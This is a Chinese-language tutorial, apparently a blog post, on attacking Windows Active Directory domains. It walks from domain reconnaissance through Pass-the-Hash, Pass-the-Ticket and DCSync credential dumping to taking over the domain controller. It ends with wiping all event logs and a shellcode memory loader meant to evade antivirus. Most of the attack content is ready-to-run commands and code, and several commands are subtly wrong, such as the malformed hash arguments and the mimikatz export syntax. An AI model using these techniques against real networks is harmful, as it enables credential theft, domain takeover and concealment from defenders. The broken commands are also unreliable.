一、进入域世界:Windows域的基础知识

在渗透测试中,Windows域始终是攻击者的“乐园”。无论是企业网络还是组织机构,域控制器(Domain Controller, DC)通常充当核心角色,管理用户认证、资源访问和策略分发。如果你能攻破一个域控制器,就等于拿到了整个王国的钥匙。

在这里,我们需要了解几个关键概念:

1. 域架构的核心元素

  • Active Directory (AD): 域的核心服务,负责用户、组、计算机等对象的管理。
  • 域控制器: 运行 AD 服务的服务器,通常是攻击的重点目标。
  • Kerberos协议: 实现认证的核心协议,通过票据来验证访问权限。
  • LDAP协议: 用于对象查询和管理,很多信息收集基于此协议。

2. 常见域渗透攻击路径

在实际攻击中,以下路径非常常见:

  • 用户身份劫持: 捕获凭据,通过Pass-the-Hash、Pass-the-Ticket等方式横向移动。
  • 权限提升: 利用域策略漏洞或错误配置。
  • 域控制器攻陷: 最终目标,控制DC意味着控制整个域。

接下来,我们将通过完整的技术链条,展示如何从零开始渗透一个Windows域。

---

二、从信息收集开始:域信息的探测技巧

在真正进入攻击阶段之前,我们需要尽可能详细地了解目标域的架构和配置。信息收集是域渗透最核心的环节之一,精准的探测可以让后续攻击事半功倍。

1. 使用 PowerShell 获取域信息

PowerShell 是获取域信息的利器,尤其是在内网环境中。

以下是基础信息收集脚本示例:

<pre><code class="language-powershell"># 获取当前域信息 Get-ADDomain

黑客示意图

获取域用户列表

Get-ADUser -Filter * | Select Name, SamAccountName, Enabled

获取域组列表

Get-ADGroup -Filter * | Select Name, GroupScope

获取域计算机列表

Get-ADComputer -Filter * | Select Name, OperatingSystem, LastLogonDate

获取域控制器

Get-ADDomainController -Filter * | Select Name, Site</code></pre>

2. 使用 LDAP 查询域信息

如果你手上有 LDAP 访问权限,下面的 Python 脚本可以直接获取域信息:

<pre><code class="language-python">from ldap3 import Server, Connection, ALL

连接到域服务器

server = Server(&#039;ldap://192.168.1.10&#039;, get_info=ALL) conn = Connection(server, user=&#039;CN=admin,CN=Users,DC=example,DC=com&#039;, password=&#039;Password123&#039;, auto_bind=True)

查看域根

conn.search(&#039;DC=example,DC=com&#039;, &#039;(objectclass=*)&#039;, attributes=[&#039;dn&#039;, &#039;cn&#039;]) print(conn.entries)

获取用户列表

conn.search(&#039;DC=example,DC=com&#039;, &#039;(objectClass=user)&#039;, attributes=[&#039;cn&#039;, &#039;sAMAccountName&#039;]) for entry in conn.entries: print(entry)

获取计算机列表

conn.search(&#039;DC=example,DC=com&#039;, &#039;(objectClass=computer)&#039;, attributes=[&#039;cn&#039;, &#039;operatingSystem&#039;]) for entry in conn.entries: print(entry)</code></pre>

这类脚本可以帮助你快速获取域内关键信息,比如用户账号、计算机名称以及域结构。

---

三、横向移动的艺术:利用凭据跳转

在域渗透中,横向移动(Lateral Movement)是关键环节。目标从单一主机扩大到整个域网络,让攻击者能够逐步接近域控制器。

黑客示意图

1. Pass-the-Hash 技术

如果你能拿到某个用户的 NTLM hash,就可以直接利用它进行身份认证,而不需要明文密码。

通过 impacket 工具实现 Pass-the-Hash:

<pre><code class="language-bash"># 使用 wmiexec.py 进行命令执行 python3 wmiexec.py &#039;example.com/Administrator:aad3b435b51404eeaad3b435b51404ee&#039;@192.168.1.5

使用 smbexec.py 远程访问文件共享

python3 smbexec.py &#039;example.com/Administrator:aad3b435b51404eeaad3b435b51404ee&#039;@192.168.1.5</code></pre>

2. Pass-the-Ticket 技术

如果你捕获了某用户的 Kerberos 票据(TGT),可以直接通过票据进行认证。

使用以下命令导入 TGT 并访问目标服务:

<pre><code class="language-bash"># 使用 mimikatz 抓取 TGT privilege::debug sekurlsa::tickets

保存票据文件

kerberos::ptc /export:ticket.kirbi

使用 impacket 加载票据

export KRB5CCNAME=ticket.kirbi python3 wmiexec.py -k -no-pass [email protected]</code></pre>

---

四、最终目标:域控制器的攻陷

拿下域控制器是域渗透的终极目标。以下是几种常用方法。

1. 利用 DCSync 偷取敏感数据

DCSync 是一种模拟域控制器的操作,直接通过 AD 同步用户信息(包括密码哈希)。

使用 mimikatz 执行 DCSync:

<pre><code class="language-powershell"># 获取域用户的 NTLM hash privilege::debug lsadump::dcsync /user:Administrator

获取 krbtgt 用户的 NTLM hash

lsadump::dcsync /user:krbtgt</code></pre>

2. 域管理员权限提升

如果你发现某台主机上的用户属于域管理员组,可以直接利用权限进行域控制。

PowerShell 获取域管理员列表:

<pre><code class="language-powershell">Get-ADGroupMember -Identity &quot;Domain Admins&quot;</code></pre>

梳理出域管理员用户后,通过 Pass-the-Hash 或 Pass-the-Ticket 技术访问域控制器。

---

五、痕迹清除与对抗 EDR

在域渗透过程中,清除攻击痕迹和对抗 EDR 是至关重要的环节。以下是几点实用技巧:

1. 日志清理

通过以下命令清除事件日志:

<pre><code class="language-powershell"># 清除所有事件日志 wevtutil el | Foreach-Object {wevtutil cl $_}</code></pre>

2. 内存免杀

使用以下 Python 脚本将恶意载荷加载到目标内存中,绕过杀毒软件:

<pre><code class="language-python">import ctypes

shellcode = b&quot;\x90\x50\x48\x31\xd2\x48\xbb\x5a\x75\x1e\x2a\x00\x00\x00\x00&quot; # 示例shellcode ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), shellcode, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))</code></pre>

---

六、个人经验:域渗透中的细节问题

在多年的域渗透测试中,我发现以下几点最容易被忽视:

  1. 用户权限的误判: 有时候普通用户的权限配置不当,实际却拥有管理员级别的访问能力。
  2. 组策略漏洞: 细致检查 GPO 配置,往往能发现意外的权限提升路径。
  3. 凭据复用: 很多域用户的密码是全网统一的,这种情况下攻击会非常高效。

总之,域渗透并不是单一技术的比拼,而是对策略、工具、细节的综合考量。

黑客示意图